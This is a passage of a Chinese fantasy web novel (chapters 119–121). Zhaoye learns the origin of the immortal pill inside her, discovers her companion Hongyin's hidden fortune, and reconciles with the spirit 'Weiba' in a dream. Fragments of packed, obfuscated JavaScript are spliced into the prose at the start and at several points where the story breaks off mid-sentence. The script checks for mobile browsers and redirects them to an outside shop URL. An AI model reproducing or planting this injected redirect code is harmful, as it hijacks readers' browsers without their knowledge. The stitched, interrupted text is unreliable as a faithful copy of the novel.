l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549584|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罚金。 途中,宏音见我始终缄默,低声问道,“可是在生气?气我并非专程为你而来,而是为接任之事。” 说实在的,我心里确有些涩然。其实宏音早知渊寂意图——正如宏音当初为逼我参选圣女,故意使计收走粥铺那样。渊寂不过是以相似的手段,逼迫宏音舍弃不再诞生圣女的天翮城,成为他新的耳目。 而宏音,只是不愿太快认输,也为天翮城争得了一线生机——至少从结果看,天翮免于被献祭的命运,保留了城主与圣女之名,更成为接连魔界的重要口岸。 飞骑缓驻风中,云絮轻拂衣袂。宏音并不急于离去,只静静陪我立在夜色里,任晚风浸透衣衫。 “照夜,”宏音忽然开口,“去向尾巴和解。有他在你身侧,我方能安心。” “可我不知道……他会不会原谅我。我不敢去。” “你想多了。”宏音捏捏我脸颊,笑意温缓,“他不会生你的气。以我对他的了解,他只会因借用你身躯而愧疚,甚至……一直害怕你厌弃他的存在。” 心口堵得发酸,我慌忙抹去眼角的眼泪,“我不会,我当然不会。我只是……只是不知该去何处找他。我也不是何时都能去往他的‘家’。” “你的话有些难懂。”宏音眸色渐深,“听来,尾巴的家在一个难以抵达之处。但依我对他的了解,他不会藏得离你太远。他只会躲在你最熟悉的地方——每一刻都在盼着你出现。” 最熟悉的地方? 我蓦然怔住。夏日、田埂、荷塘……泪水倏然涌出。是了,是我初次遇见尾巴之处。那时,他藏在我梦中的小苹村,故作高深地悬在天际,假装成一轮偷窥我的“太阳”。是了,他在那里。 “照夜,”宏音神色肃然,字字如钉,叩在我心坎上,“可以将你的过往——尤其是先前‘死去’那件事,细细说与我听么。如此……”他顿了顿,声音沉静如夜,“我才能告诉你,尾巴的真身,究竟是谁。” 让时光倒流回我被谷阿翁与钩星诓出青莲山的时候吧。 刃柱城中,我们遭遇作乱的岁兽妖,阴差阳错闯入了瘴母神的巢穴。岁兽妖一脚碾碎怪物的同时,也将我与钩星吞入腹中。就在那时——穆青留下的青莲法器骤然运转,将我们彻底碾碎。 濒死之际,岁兽妖腹中那颗金色的仙丹,将我体内由穆青所种莲子彻底包裹、吞噬,成为重铸我身躯的根基,给予我重生。 而尾巴,便是这颗仙丹的内核,占据了那处由莲子构筑、开满无尽青莲的洞天。 ——至少,尾巴是这般宣称的。 听罢我的叙述,宏音又问起我体内晶盾的来历。向他坦露这些时,说实话,我心绪是复杂的。我害怕将这些秘密、这些过往,托付给一个错误的人。我望着垂首沉思的男人,暗自心想,不会的。能那样深爱棠梨的人,绝不会是恶徒。 夜已深浓,层云积聚,正在酝酿一场雨。风里携着初夏特有的,微潮而蓬勃的气息。万物在此时节,历经春的涵养,正要迈向一场盛大的繁茂。 “照夜,”宏音的声音平稳沉静,如深潭投石,“首先我要告诉你,仙力会碰撞、湮灭,会被吸纳、转化,却唯独不会以‘异体’之态长久存留。”他抬眸看向我,目光如镜,“换言之,你吸纳的仙力终将被你自身净化,染上独属于你的印记。因此舒岸那独特的仙力,绝不可能原封不动存于你体内。若他的力量真得以留存……只能证明一件事。” “……什么?”我的心狂跳如擂鼓。即便方才已从溟牙口中听过相似的答案,我仍旧畏惧这真相赤裸裸地铺陈在眼前。 “证明舒岸本身——原就是你体内仙丹的一部分。” 剧烈的耳鸣轰然袭来。我体内的仙力因这震荡而剧烈翻涌,撞击着的身躯,仿佛一股失控的洪流,若无束缚,便会顷刻散入无处不在的风中。 “宏音……我还有一个秘密要告诉你。”我攥紧衣袖,声音发颤,“请你……务必守口如瓶。” 119. 119章 有趣的被观察对象 让记忆再度溯回到初遇振岳仙人之时吧。他带来了一个听来荒诞的梦,也带来了前任仙帝苍珠煌木的死因——死于渊寂之手。 那之后,我从穆青与尾巴口中,听到了一个更为离奇的“真相”,某个人将自己分作了五份,而煌木,便是他死去的其中一部分。 那个人,正是徘徊于我“梦”中的青衣少年——月羽木的浇灌者,降下落羽山石钉的少年,太初僊。 而那其实也并非我的梦。那些绚烂风景不曾存于我的记忆中,亦非穆青所有。那是属于太初僊的记忆。所以严格来说,并非他闯入我的梦境,而是我——叩开了那颗如烈日般灼耀的仙丹,闯入了他的记忆之中。 听我将这些年辗转的经历缓缓道尽,宏音轻轻揉了揉眉心,终于说出了那个我一直逃避、不愿直面的事实: “你体内的仙丹,并非岁兽妖所有。它属于第一位以凡人之躯登仙的初代帝君——太初僊。” 宏音停顿片刻,夜风穿过云隙,带来远方初雷的低鸣。 “而尾巴,便是他五份化身中的其中之一。是以纯粹仙力存在的——仙丹本身。” “这段时间,我用你教我的法子,从最熟悉的棋谱入手尝试破译天翮古文字。”宏音的声音在夜色里显得格外幽沉,“照夜,那些棋谱皆是太初僊所留。故而尾巴才会觉得我的棋路熟悉,难以在短时间内胜我——因为战胜曾经的自己,本就极难。” 宏音顿了顿,继续一字一句道,“所以,毋庸置疑了。尾巴是太初僊的一部分,而能在你体内保有其力量的舒岸,亦如是。” 仿佛一块悬在心口许久的巨石终于落地。我轻按胸前,恍惚间又想起被岁兽妖吞噬时,初次见到那颗如烈日般的仙丹——它竟属于小初。 “走吧,事情变得有些棘手了。”宏音揽住我的腰,驭使飞兽转向归途,“照夜,你虽死而复生,身躯某些机能已不完整,体内更藏着另一个人……但记住我的话,无论何时,都要坚定身为‘照夜’的本心。” “……你怕我迟早会彻底消失,对吗?” 宏音低笑,俯身在我颊边落下一个轻如羽絮的吻,“你不会消失。他也不会让你消失。若尾巴是他最真实的映照……”宏音望进我眼中,“那么我可以确信,以尾巴对你的爱,他绝不会任你湮灭。” “可我还是觉得……尾巴、小初、舒岸,他们并不全然相同。” “是啊。经历与记忆未曾重叠,所成的‘人格’自有其独特性。尾巴改变了你,而你也在改变尾巴;舒岸改变了你,你亦在他生命里刻下最深的一笔。”飞兽穿过低垂的云层,宏音的声音随风散开,“这相互的塑形与牵引,我们通常称之为——羁绊。” “宏音,若小初当初将己身分作五份……那另外两份,如今何在?” 宏音缓缓摇头。眼中浮起的光,是我从未见过的肃冷,“……我相信纵使各不相同,他们五部分的心魂深处,必仍有相通之处。譬如——”他望向苍茫夜空,“会爱上同一缕风。” 我累极了,一时间发生了太多事,将我大脑里塞得满满,但我却没法去到我第一次见到尾巴时候的那个梦,我知道,是我自己在害怕,一下子知道了这么多真相,我反而不知道该怎么面对尾巴,面对……小初。 有些好笑的是,尾巴曾因我给小初起了昵称而吃味,哪怕他们本就是一体。 或许正如宏音所言,历经不同的世事磋磨,他们既是一体,亦已各自成篇。 这难熬的长夜,仿佛瞬息间乾坤翻覆。经宏音一番梳理,诸多零碎残片终得拼合。我心中释然与涩然交织,好奇与疑问并存,还有一丝挥之不去的……想念。而宏音所需思虑的,则更具体也更复杂,他需查明,当初煌木究竟因何而死——是否真为渊寂所弑。 宏音的任职仪式以一场大雨作为见证,嵊风殿内,风雨急叩着飘摇的垂纱幔,呼啸声卷着水汽穿堂而过,衬得殿中长风也凛冽了几分。 数日未见的笏影面色却极为难看——想来她未曾料到,宏音竟从一介凡躯,一跃而至鸿珠位阶。虑及十身、千手皆为“人造之仙”,如今的宏音,可谓一仙之下,万仙之上,今日不同往昔,赢得匪夷所思。 我在淅沥雨声中候了许久,却未等到十身仙人的虚象临场。仙鸟们已将敕封消息振翅衔往各处,至于身在灵璧城的诸位上仙,按礼皆需亲至,以见证鸿珠上仙的受封仪典。雨丝织成茫茫帘幕,我在其中瞥见一个熟稔身影,心下一动,连蹦带跳迎了上去。 只是来人神情寥落,全无悦色。令我震惊的是,眼前曾意气风发、视穆青为毕生劲敌的赤羽,如今竟似换了个人,形销骨立、眸光木然,一身萎靡失魂之态,往昔豪迈爽利的英姿荡然无存。 四周人影杂沓,我与赤羽连寒暄两句也难,只得匆匆约下“斐丁庐再聚”,便各自没入人群。 耐心捱至午后,我终于等来了渊寂。他掠过雨幕踏入殿中,瞥见我时竟挑眉打趣,“哟,可算见着小八的面了——简直比当年觐见先帝还难。” 见渊寂今日心情颇佳,我小跑着跟在他身后,盘算着如何开口告假。笏影正欲上前禀报近期要务,不料渊寂大手一摆,丢下一句“交由宏音筹办”,便径自往内殿走去。边走边褪下帝袍,任其委落一地。 我今日有求于人,自是殷勤,赶忙捧来渊寂惯常穿的玄色长袍。有些意外的是,虽外间大雨滂沱,他换下的衣衫上却未沾半滴雨渍,连发丝亦干爽如初。 “听闻前两日,你与师兄师姐们起了争执?”渊寂背对着我,声音听不出情绪,“怎么,处不来么?” 我尴尬地笑了笑。想起那夜种种,那几张脸孔便教人胸膈发闷。索性心一横,告起状来,“他们欺辱二师兄,还强逼我饮酒……言语折辱都算轻的了。” 立在渊寂面前,我垂首为他系扣。指尖难免触及衣下这副肌体——紧实得令人心惊,其下心跳平稳而规律,如同一个没有感情的敲钟人,机械地叩击着胸腔。 “有趣么?” 我几乎以为自己听错,慌忙抬眼。渊寂依旧是那副“只为观察”的神情,目光坦荡地扫过我每一寸表情。 “有趣么,照夜?”渊寂重复道,语调悠然,“你不好奇么——在无人管束、甚至刻意纵容之下,他们究竟还能做出何等事来?邪恶、贪婪、无耻、嚣张……”渊寂唇角微扬,“皆是趣致的特质。不知这些特质,会将人异化成何等模样。” 我震愕无言。渊寂却缓缓握住我的手腕,将我的手按在自己胸膛上。 “贪婪、苟且、服从、爱欲、自尊、占有、暴戾……”渊寂每念一词,掌心下的心跳仍平稳如初,“你不想亲眼看看,这些特质究竟会不会将人——变成怪物?” 我脑中似有弦线突突狂跳,弹得脑仁生疼,干涩的话从喉间挤出,“数来数去……好似少了一样特质?” 渊寂居高临下地笑了。他捏住我的下巴,眸光深晦,“你的特质?你的特质唯有‘可爱’,无从异化。留下来逗个乐子,便够了。” 霎时,一股寒意自我脊背窜升。那阵熟悉的风又来了——待我猛然回头,殿内依旧空荡,唯有垂纱寂寂翻飞。 趁渊寂端起那盏猩红透亮的红绡茶时,我小心翼翼跪坐他手边,试探着问,“师父……今日大雨,徒儿可否告假一日?只想回去睡大觉。” 未料渊寂未多言,只淡淡颔首,“准了。” 顺利得近乎诡异。但我此刻只想速速离开这空阔寂冷、寒意侵骨的嵊风殿。 真是可恶!渊寂此人,分明知晓座下弟子皆是何等货色,知晓他们平日如何欺凌溟牙,更知晓溟牙是怀揣某种目的苟且留在此处。他什么都知道,却只作壁上观—— 竟只为满足自己那扭曲而病态的好奇心。 真是令人胆寒。 果然,这个男人……绝不是什么好人。 今日的雨密且细,带着一丝难以描述的柔润,我早早来到斐丁庐等待赤羽,虽然囊中羞涩无钱买茶,但掌柜似是见我衣着昂贵,好心给我送了茶点,很好,并非什么红绡茶。闲聊间,我又向掌柜的打听了两句有关红绡茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赤羽自嘲般笑了笑,吐露了一个令我浑身发冷的秘密。这些年来,包括我失踪的那五载,穆青曾不止一次与凤琤私会。赤羽每每劝诫,穆青却只说,照夜不会知道。即便知道了……也不会信。大婚前夜,赤羽费尽周折终见穆青一面,痛斥其负心,对方却不以为意,只说今日种种,我日后定会理解。 说真的,我确有一瞬如坠冰窟,浑身止不住地轻颤。但随即,一股奇异的冷静漫上心头。 “赤羽,”我听见自己的声音异常平稳,“你或许从未见到真正的小青——你见到的,可能是幻鹊。他模仿小青……足以乱真。” 赤羽蓦然瞪大那双赤红的眸子,恍如雷击。半晌,他喃喃道,“怪不得……我总觉得有哪里不对。从前青莲将枞寄养在浮沤岛,每次回来必去探望。可这一次……他没有。” 赤羽顿了顿,望向正朝我们走来的竺可,起身拍了拍我的肩。那一瞬,他眼中浮现出前所未有的坚毅与冷冽,“照夜,千万小心。我要暗中查查青莲的行踪。” “嗯,你也要当心。这灵璧城……总让人觉得鬼气森森。” 事到如今,我几乎可以断定,那夜宴席未露面的幻鹊,一直假扮穆青现身人前,蒙蔽了众人。而这亦意味着——真正的穆青,已失踪许久。 我再无心听竺可后续说了些什么。窗外的雨一声声敲在檐上,嘀嗒、嘀嗒,仿佛全都砸在了我心尖上,凿出无数细密的孔洞,任由惶恐与痛楚渗入骨髓,寸寸侵蚀。 匆匆别过竺可,我本想找万事知打探些消息,不料刚离开斐丁庐,沿着繁华长街走到地价最昂贵之处,便偶然瞥见那号称“万事皆晓”的老头儿,正与一名背对我的陌生青年低声交谈。 我顺着崭新的匾额望去,几个古朴苍劲的大字,赫然彰显着宅邸主人的雄厚财力—— 息声苑。听这名字,倒像是闹市里辟出的一处世外桃源。 万事知一眼瞧见我,双目圆睁,脸上掠过一丝惊惶。但他也明白,我这种能从寂灭池这孤绝之地全身而退、来去自如的人自然是有上天的本事,逃跑绝非上策。 我缓步走近,只见仆从正陆续搬运箱笼入内,万事知俨然一副“监工”模样。 “哎呀,这不是照夜小友么!”万事知搓着手迎上来,“许久不见,您依旧——嗯,半分未瘦?” 120. 120章 三界首富宏音大人 我黑着脸停在万事知面前,目光落向那始终背对我的青年。一张陌生又平凡的面孔,许是因紧张之故,整张脸僵硬如铁板,唯有一双眼珠尚能灵活转动。 “无悔,你扮成这副模样做什么?” 我话音未落,万事知与那易容的臭鲛人双双瞪大双眼,异口同声,“不可能!你怎么瞧出来的?!” 自以为伪装术天衣无缝的万事知十分挫败,不肯相信自己的绝技被人识破了,在听完我离谱的缘由后,他更是因困惑地眯起了眼睛,一脸不可置信。 我板着脸解释道,“无悔的心跳声,就决定了无论变成什么模样,也只能属于无悔本人,管你变成阿猫还是阿狗。” 无悔这个家伙,竟低着头企图用耳朵贴近自己胸膛听听属于“无悔独一无二”的心跳声究竟是怎样的。 万事知摇头叹息,“乖乖,罢了,真是人外有人,我万事知算是遇到高手了。” 我却无心看他二人一个拜服一个茫然,只仰首望着那方烫金匾额,“你们在此干什么?无悔,你不会偷偷跟我来灵璧城,想寻机暗算帝君?” 无悔如遭火灼般弹跳而起,一把捂住我的嘴,将我拽进乌木大门内。他四下张望,方压低声道,“是又如何!可你别把咱们的大计嚷得满街皆知啊!” 我挣开无悔的手,嘟囔道,“我近来忙得很,心情又差,少来讹我。”顿了顿,我环视着庭院,“这究竟是谁的宅子?总不会是你和桃夭俩庸医的罢?” 万事知面色一白,搓手干笑,“这……还是别问了呗。” “就是,说了怕要挨揍……”无悔也陪着讪笑。 我心头火起,叉腰逼问,“说不说?不说我便将你这臭鲛人耳后的鳞片一片片揭下来!” 很好,两个没什么战斗力的家伙立刻选择了坦白。于是这天,我无意间撞破了一个惊人的秘密——这处豪阔的深宅大院并非他人所有,正是宏音的产业。无悔与万事知此刻,正是在替他打理院落。 “宏音哪儿来的钱?”我愕然,“他不是在天翮城输得一文不剩了么?” 万事知眨眨眼,尴尬一笑,“哎呀,照夜小友怕是误会了。宏音大人从前……可是三界首富。天翮城那点钱财虽不少,却远未到伤筋动骨的地步。这宅子早已置下,只是不常来住罢了。” “什么?!”我几乎跳起来,“可,可恶……他这几日偏要花我的钱,害我散尽家财,不得已夜夜同他挤一张床!” 无悔闻言先是一愣,随即捧腹大笑,“哈哈哈——原来是为这个!宏音大人真是越发变态了。”他凑近些,压低嗓音,“我悄悄告诉你,你可别卖了我——你们眼下住的焦桐馆,其实也是宏音大人的产业。” 我也顾不上外头正下着滂沱大雨,怒气冲冲跑回焦桐馆,一心要找那当初提议“共住一间省钱”的掌柜算账。谁料这精明的老掌柜见我气势汹汹杀回,立刻明白东窗事发,未等我开口便全盘招认。 没错——这一切皆是宏音的安排。从“花光我的钱”到“不得不与他同住”,步步都是算计。宏音要花完我全部的钱,叫我没办法离开他。 事情发展到这里,我有些丧气,问这脸色青白的掌柜,宏音这么做到底想干什么? 掌柜毕竟是局外人,只躬身小心答道,“大老爷或许……只是想顺势与您更亲近些。您那些钱财,还不够老爷平日一盏茶的开销。” 今日我是真乏了,连生气的力气都提不起,只能瘫在床上望着承尘发呆。直至天黑透,窗外的雨依旧没有停歇的意思。宏音回来时,已换了身干爽的常服,走到床边轻声问,“如何?可想搬回‘家’里住?不知你喜不喜欢那院子。” “可恶……你又诈骗我。”我闷闷道,“害我以为你身无分文,一直迁就你的坏毛病。” 宏音闻言一笑,坐在床边摸摸我的脸,“真是冤枉,我可从未说过自己身无分文。” 我认真回想了一下,宏音确实不曾说过自己输得一分不剩,有关他“可怜”的一切,都是我自己想象的。 “所以……你其实很有钱?”我望着宏音,“万事知说,你曾是三界首富。” 宏音偏头略作思忖,答道,“利衡币于我,不过一串数字,并无实感。你若问如今我是否仍是首富……我只能说,凡钱财可办到之事,于我皆轻而易举。” 好家伙。这等狂妄之言,我连做梦都不敢说出口。 “好了,今晚不折腾了,明日便搬回家住。起床沐浴,你身上有我纯水的气息。” 我身心俱疲,任由宏音拉去浴间,趴在池边任他细细擦洗。我脑中塞满今日种种杂事,唯有一件如钩子般死死拽着心脏,稍一触及便抽痛难忍—— 穆青他……究竟去了何处? “愁眉深锁。”宏音的声音伴着氤氲水汽传来,“看来今日烦忧之事甚多,照夜。” “……我能向你倾诉么?” 温热指尖轻轻揉开我紧蹙的眉间。宏音笑了笑,“我费这些周折,无非是盼你多信我、倚我几分。我不想你独自面对这复杂的世情。纵使今日青莲在你身侧,我的答案依旧如是。” “是为了棠梨么?” 唇畔笑意更深了些,宏音俯身在我湿漉的脸颊落下一个吻,“是为了名为‘照夜’的好孩子。” “好吧……平日里有尾巴、有小初在,我能倾诉的人很多。可今日,好像没得选了。” 听我将素雪失踪、穆青行踪成谜、乃至渊寂那扭曲的“观察癖”一一道来,宏音并未急着给出劝慰或建议,只耐心哄我睡觉。 但我瞧得真切——他眼底浮起了一片我从未见过的浓重阴翳。事情,恐怕远不如表面这般简单。 大雨足足倾泻了两日。宏音借这场绵长的雨,悄然布下了属于他的“耳目”。与试图掌理卫戍司的百目仙人不同,他对仙界兵权并无兴趣,而是接掌了承御厅,成为笏影的顶头上司。自此,每日代渊寂处理繁杂政务的,便换成了他。 换言之——渊寂终于能脱身,重回坐忘矶潜心修炼了。 我坐在古松下,望着风中摇曳的素纱灯,心下恍然,渊寂大费周章将宏音招来灵璧城,莫非只因……他急需一个能代管庶务的得力之人?而论及治国理政之才,确也无人比宏音更适宜。 云开雨霁。湿润的风穿过结界,在灵璧城上空徐徐流转。雨后的一切,静得异乎寻常。 落日余晖将天际染成一片金红,羽毛状的云层舒卷铺展,远远望去,宛如一只湿漉漉的巨鸟,正敛翅栖息于暮色之中。 “你问南翊此来所谓何事?” “徒儿只是有些好奇。” 渊寂支着膝盖,远眺云海,示意我在他身侧坐下,缓缓道,“为求援而来。人界已无力抗衡怪物之灾——尤其当这些怪物渐生灵智,懂得在人群中潜伏、藏匿,伺机而噬。”他顿了顿,声音里听不出情绪,“难得的是,它们比凡人、仙人乃至魔族,心思更为纯粹。不会彼此算计、攻伐、杀戮,所求无非生存二字,仅此而已。” “这些怪物……会听从‘核心’的抉择,除非那抉择危害其存续。” “嗯,它们有集体意识——一种无需引导、浑然天成的集体意识。这是生存的本能,它们必须依此方式存活下去。” 我尴尬一笑,原来渊寂他心里清楚天翮族第二次公投的真相是什么,对于人来说,没有什么集体意识,只有集体利益。 我偷偷瞄向这个深不可测的男人,他对很多事漠不关心,采取放任态度,仅仅是好奇。就如他当初驾临天翮城,仅仅是好奇天翮族还会选出怎样一位圣女,他好奇身为城主的宏音究竟会以怎样的方式拯救岌岌可危,注定要经历毁灭的天翮城。 也许,他只是想见证,一座注定走向死亡的人城,会如何挣扎和自救。也许,他唯一没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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院中无池,水皆在石与木的脉络间行走,东角一株老梅盘根错节,根下有细泉自石罅渗出,滴滴答答坠入承水的陶瓮;西墙依着半片天然岩壁,渗下的水渍在苔面上划出几道晶亮细痕,终日簌簌不绝;最别致是北厢檐下悬着的一串竹节水斗,承接瓦沟雨露,满则倾覆,落入下方一排渐次抬高的石盂中—— 叮、咚、琤、泠。 清音错落,连绵成韵。 这哪儿是什么“息声”苑?我看叫“杂音苑”才是,无悔却笑我见识短浅。这些水声各自清亮,交织起来反成一帐蓬松的声雾,将墙外市井喧嚷、车马杂响尽数浣净吞没。外人立于此院,只觉满耳纷乱,心神难定;可对终日需闻八方之声的宏音大人而言,这水声恰恰涤尽了所有嘈杂,反得真静。 更何况——有水环绕之处,更为安妥。不惧窥伺,难被探听。 我腿脚发软,一身疲惫地窝在自己房中发呆,连回应正在耳边絮叨不休的无悔的力气都没有。明明是个本该超凡脱俗的鲛人,怎的这么聒噪。 “你听见没?圣女圣司大人托我传话——焉耆和玄洛君已动身往玄洛城去了。毕竟那儿是玄洛君的老家。”无悔晃着我的手臂,又急急补充,“另有个小道消息,溟牙不日便将随南翊将军返回月下州,清剿玄洛、银柳二城的怪物。” 我自然听见了,心下五味杂陈。但若有焉耆同行,终究是好的。也罢,待我找到小青,便去玄洛城接回焉耆。 这一夜,待宏音归来,他那几位“得力干将”已齐聚息声苑——皆是熟面孔。 桃夭,顶着“神医”之名继续招摇撞骗的鲛人一号。 无悔,絮叨爱凑热闹的神经质鲛人二号。 万事知,表面是地刑司厨子,实则专营偷渡勾当的老油条。 以及一位稀客,赤羽,已掉到金珠位阶末席的,忧心老婆孩子的颓唐赤目小子。 121. 121章 照夜和尾巴和解 忙碌整日的宏音却不见疲色,反显得神采奕奕。趁他更衣时,我蹭过去讨教“当差”的诀窍。他只笑着应了句,“凑合着做,不必太认真。” 敢情这位新任鸿珠上仙,是个深谙摸鱼之道的高手。 今日众人“欢聚”,倒非为着敲诈我。宏音直截了当分派了几桩要务: 其一,由万事知与赤羽探查红绡茶背后蹊跷。 其二,由桃夭与无悔寻访素雪下落。 其三,由我与尾巴查明煌木遇害真相。 其四,由宏音独自查探青莲失踪之事。 我暗暗松了口气——很好,此番总算无人敲诈,亦无人向我“许愿”。 但这四件事,桩桩都似无从下手。 正待众人面面相觑时,宏音这贴心人给出了具体的切口: “红绡茶一事,可自碧叶仙人与飞逍争夺慰林渊的冲突入手。双方人马皆有被拘于地刑司者,从此处撬开缝隙。” “素雪向来与玉贝、瑶扇、笏影交好,宋莹亦重容貌保养。桃夭既顶着‘神医’名号,以鲛人养颜之术接近她们探听消息,最是便宜。” 宏音转向我,目光平静,“照夜每日可出入嵊风殿。那里原是煌木居所,或能寻到蛛丝马迹。” “至于青莲行踪——我会设法取得九百玲珑境的秘境序列,再逐一搜寻。” 宏音话音方落,桃夭便举手嚷道,“不公平!我与无悔的‘心愿’可一直未兑现——到底何时才能宰了渊寂,为芳光公主报仇?!” “就是就是!”无悔立刻接口,眼风嗖地扫向我,“就差我俩了!” 我黑着脸扶额。果然……我就知道没这么简单。 宏音轻拍我肩,语气寻常如吩咐添茶,“照夜,明日想办法带他二人混进去。” “啊?这算什么主意!” 万事知最是识趣,忙打圆场,“哎呀,管他呢!宏音大人既说了,准没错!” 赤羽神色凝重地起身,“我先走一步。素雪之事便拜托诸位了。”他行至门边,却忽又折返,望向我一字一句道,“照夜,万事小心。我不想……再失去你。” 无悔一口茶呛喷出来,旋即咧嘴露出看好戏的神情。 “……不想再失去你这个酒友。”赤羽匆匆补上一句,“告辞。” 气氛一时微妙。半晌,宏音缓缓呷了口温热的月羽花茶,淡淡道,“我不同意。” 桃夭嗤笑起身,“哎哟哟,这醋味可有点冲。走了走了。” 无悔嘿嘿一笑,捏捏我肩膀,“明日就靠你啦,小胖妞。” 至于万事知——溜得比谁都快。 这一晚,我躺在尚不熟悉的床榻上怔怔出神,问宏音明日该如何将那两名图谋不轨的鲛人带入仙宫。他却未直接作答,只是如常俯身,向我支付了一个亲亲。 不知从何时起,我竟已习惯如此,甚至隐隐生出期待。 “照夜,今夜好好睡觉。去将尾巴接回来。” “可我……不知该去何处找他。” 宏音轻叹一声,低声道,“需要我帮忙么?” 我闻言连忙坐起,拽住宏音的衣袖,“你知如何找尾巴?” “……我虽不知尾巴藏身何处,却知如何引他现身。”见我犹疑,宏音俯身贴近,气息拂过我耳畔,“尾巴的‘禁止事项’之一,便是若我对你存有非分之想,他定会按捺不住,跳将出来。” “这算什么鬼主意!”我慌忙缩至床尾,脸颊滚烫,警惕地盯着宏音。 “放心,不过借共鸣之法稍作刺激。你我不会损失分毫,唯会教尾巴醋意翻涌,忍不住冒头罢了。”宏音神色坦然,“眼下情势纷杂,他不在,你的安危便成隐忧。况且……他算得你半个外置大脑,颇堪大用。” 见我未再抗拒,宏音利落地翻身上床,揽我入怀。均匀的呼吸声伴着宅院四处潺潺的水响,缓缓漫入耳中。 温柔的水啊,带着生命特有的暖意,澄澈而洁净——宏音的仙力亦是如此。仿佛有什么在轻轻拍抚我的背脊,若有若无地掠过我的尾椎,引来阵阵本能般的细微战栗。 夏日。田埂。小苹村。 一切风景皆凝滞如画。 炽白的光芒将梦境照得透亮,仿佛长夜永不会降临。我本以为,既来到与尾巴初遇之地,找到他该是轻而易举——却从未想过,眼前涌现的,竟是无数个“尾巴”。 举目望去,尽是大小不一的金色光团,它们轻盈跳跃,好奇地贴附在每一棵树、每一缕炊烟、每一块山石上,以光晕触探、轻嗅、张望、铭记。随后,它们发现了我,如潮水般蹦跳涌来。 “选我选我!我不会叫你小笨蛋。”一个光团跃上我的额头,柔软的光躯只是一团纯粹辉芒。 “让我来咯!我才不会舔你的眼泪。”试图拽我发辫的光团正悬在想象中的秋千上晃荡。 “带我走嘛!我可不会乱吃醋。”顺我腿侧爬上来的小光团嘻嘻笑着,绚烂流光几乎满溢而出。 “嘿嘿,随便挑一个呗!横竖你分不清谁是谁。” “就是就是!我们都一样呀!” “都别吵!给她一次选择的机会——反正她不会成功。” “可、可她万一选对了呢?” 无数个声音突然说起了同一句话,“那就原谅她,和她一起走吧。” 无数的尾巴,无数鲜活动作与神情,无数早已刻入我记忆的声线,几乎要将这脆弱的梦境撑裂。 我轻轻避开脚边那些企图随我离去的光团,缓步慢行,细细端详。终于,在荷花池畔,我瞥见了一个耷拉着脑袋的光团——他在众多辉光中毫不起眼,甚至极易被忽略。 可唯有他,仿佛塌着肩膀,垂首蜷缩,周身弥漫着沮丧与伤心。 待我停驻于面前。他缓缓昂起光晕凝成的轮廓,望向我。 万万没想到,他开口第一句竟是,“这几日……可觉着瘦了些许?” “没有。衣衫未松半分。” “对不起,照夜。”光团萎靡地长叹,“这几日我竭力搬运、收束仙力,可……没有‘路’,实在艰难。我承认自己是条没用的尾巴。我会再努力些,你……你别生我的气。” 周遭的光团顿时雀跃起来,叽叽喳喳: “是呀是呀!没有灵关窍,便没有路!” “嗯呢嗯呢,不眠不休,再努力一些。” “对啊对啊,不要生气,或者,生小小的气。” “诶哟诶哟,可以狠狠骂,轻轻打,但是要在一起。” “呜呜呜呜,还可以不离不弃吗。” “哎哎哎哎,还是藏起来吧,不会有人喜欢。” 说到此处,一群小光团竟相拥啜泣,发出细细的呜咽,“喜欢藏着……可还是会寂寞。” 大颗泪珠自我颊边滚落。无数光团顺着我的衣襟攀上,手忙脚乱地伸出光晕凝成的小手,接住坠落的泪滴。 梦境开始摇晃。浅层的“梦”从来不够牢固——偏偏就有个家伙,总爱躲在此处偷窥我。 我俯身,轻轻拎起那个垂头丧气的光团。 “要一同出去么?”我低声问,“你不在,没人给我讲睡前故事了。” 尾巴轻轻贴近我的眼睛,刺溜一声舔去我的泪痕,“咸咸的……”他小声嘟囔,“可是热热的。是喜悦。” 我噗嗤笑了。只见那些大大小小的光团一个个跃入莲池,化作涟漪消散。周遭的一切重新流动起来——夏日熏风拂过田埂,渐渐充盈了这处存只于我记忆深处的、名为故乡的角落。 “是呀。”我将尾巴拢在掌心,“是名为——和好如初的喜悦。” 尾巴回来的第一件事,便是将自己狠狠泡进月羽花茶里。这一耽搁,晨光已悄然漫过窗棂。急于行事的桃夭与无悔在我屋里不停踱步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那振岳仙人又如何知晓此事?” 尾巴沉默片刻,低叹,“振岳居于未湖,那处有镇压怪物的石钉。煌木离去前曾往巡视,许是那时,龙鱼抖落了些许灵质碎屑。五年后被振岳偶然所获……才有了他来找你与青莲之事。” 原来渊寂所言,确有几分实情。他曾坦诚自己刺杀煌木未遂,亦直言不认可煌木为苍珠帝君的资格。 “尾巴,”我声音发紧,“煌木当真死于渊寂之手?” 长久的静默后,藏于我耳后的光团才轻轻吐出几字,“无人亲眼见渊寂出手。照夜,此人……着实深不可测。” 是了。我也从未见过渊寂真正施展手段。他究竟拥有何等能为,竟似从未有人真正窥见。 今日的坐忘矶格外热闹。万万没想到,碎蝶竟逮着了亲近师父的机会——我们躲在一块巨石后窥看,只见她伏在渊寂膝头,满面皆是温顺依恋的喜色,而渊寂只是缓缓拂过她褐色的长发,目光依然落在远处云海之间。 